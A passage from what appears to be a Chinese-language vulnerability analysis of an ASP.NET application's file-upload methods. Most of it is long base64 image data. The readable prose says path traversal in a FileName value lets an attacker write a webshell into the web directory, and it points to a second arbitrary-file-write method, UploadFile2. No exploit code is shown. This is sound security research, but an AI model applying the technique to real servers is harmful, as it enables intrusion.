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 truncated
|
||||
<p blockindex=35>在<code>web.config</code>中定义了各个值对应的路径,但是程序实在manage里,如果上传到这些目录也无法访问到</p>
|
||||
<p blockindex=36><img src=data:image/png;base64,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 truncated
|
||||
<p blockindex=37>所以这里的FileName需要通过路径穿越到web目录。最后<code>memoryStream.WriteTo(fileStream);</code>将webshell写入</p>
|
||||
<h1 blockindex=38>0x03 more</h1>
|
||||
<h2 blockindex=39>1、任意文件写入</h2>
|
||||
<p blockindex=40>在分析这个漏洞的时候,发现在这个控制器下还有四个类似上传方法</p>
|
||||
<p blockindex=41><img src=data:image/png;base64,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 truncated
|
||||
<p blockindex=42>这里找到一处UploadFile2,这里获取路径的方式是通过pathType控制,但是多了两个参数startPoint和dataSize</p>
|
||||
<p blockindex=43><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAA9cAAADQCAIAAACC+AVbAAAgAElEQVR4nO3dv4scSZrw8eh+++DdG2TsOnMjRImZ5bgFcTDWS8t4nTqn/wEhayUYp0HG9IJAnDXLyNlDIJgeo6GdgWZNGXLlbDmvIfHCCwOvM4fYXUZqZm6dOzih22GPY8+ImdjoiCeefDIz8lf194MQWVmREZFZ1dVPRT8RubNarRwAAACAEe1O3QEAAADg0iEKBwAAAMZGFA4AAACMjSgcGMRms5m6CxBsfiA+BAAs2rI+z3duHD998/honMb2P3nmnHvx8EDcX3oq39nowyefxw+/vPVx2xr6GKj1UG2rCjebzXq9Ll15O/E18pU3Hvv1R6/8xvUvVvF2Y+HOvQ31xC0Gcc1ff/QqeWhvXSlsvDJ23X4QqvCfaOfn53fu3Bmnxf5vV4X40thfr/D5XvH1VT4At0D+G7HVpa77c6Qb6KdsiPdMUnNe//hXr6eKF18MwvSLEx/SeNFC4fPz82vXrtkPHM6EvyBKlF8cnT8TWrW+lDf/7pvHR1fuH4/TWOld8uLhgfJUh4Z8nPrlrY/9vyQszjUWGLR1e7Vi/K3UH96I/X8+xddovV5bvnT6IDX/v1S4Z/wdNxq3KNac7LG37sN3/y8P9C1C7GVR/RPWPgA8/mdZ25NtdSX7iH95VxxuUT4AR1PrDwJ5PeH9s16vW126UL5bux0YX4W277eBziK8G8X6W129gUz1EZe/5fICyf5WlysuGbfVpa+VDPTWtVN+8EWPHj1yzp2fnw/UnwXZm7oDGMo43wV9ID75x71dlRBft6wLgg54fTErvCEVXJy58a/IgwcP3GCvzoIikwpRePLtyn8ni/+mnPx92fjn11KxuDm9BjGFI9kZHvqNeKeyrWy0aj3ZmVeVVyueYF5MfP+Jl9S+s6Tb2z0ZP24MjsX0D32nWEko2TP5pFU0n7xpw0PxRyMUiH98GouJDYmdiUcsWv1lVnwq3+n3PHr0yH/I5vUYJSceP8xHdJRLUWWMzX7RXL3fK+IV6Py6l7ra4f0gvsR6PZb+KG+qUqOu6aUxMv6UlX5yLWdX2m85C/GC+Guef/aWfoSVNIBW+RiiWX3ExZKL2eFMS4c8f/785s2bBwdpH/QXN6+n58Wv/tZt29vGH0BjRlYoFv+MiypevTmokxce5ySFbftO8WFjGT0R6sMnn/uINol3w8PSdmNJJ8XQIWiONyyt23dauuqVQvCBXiOl0S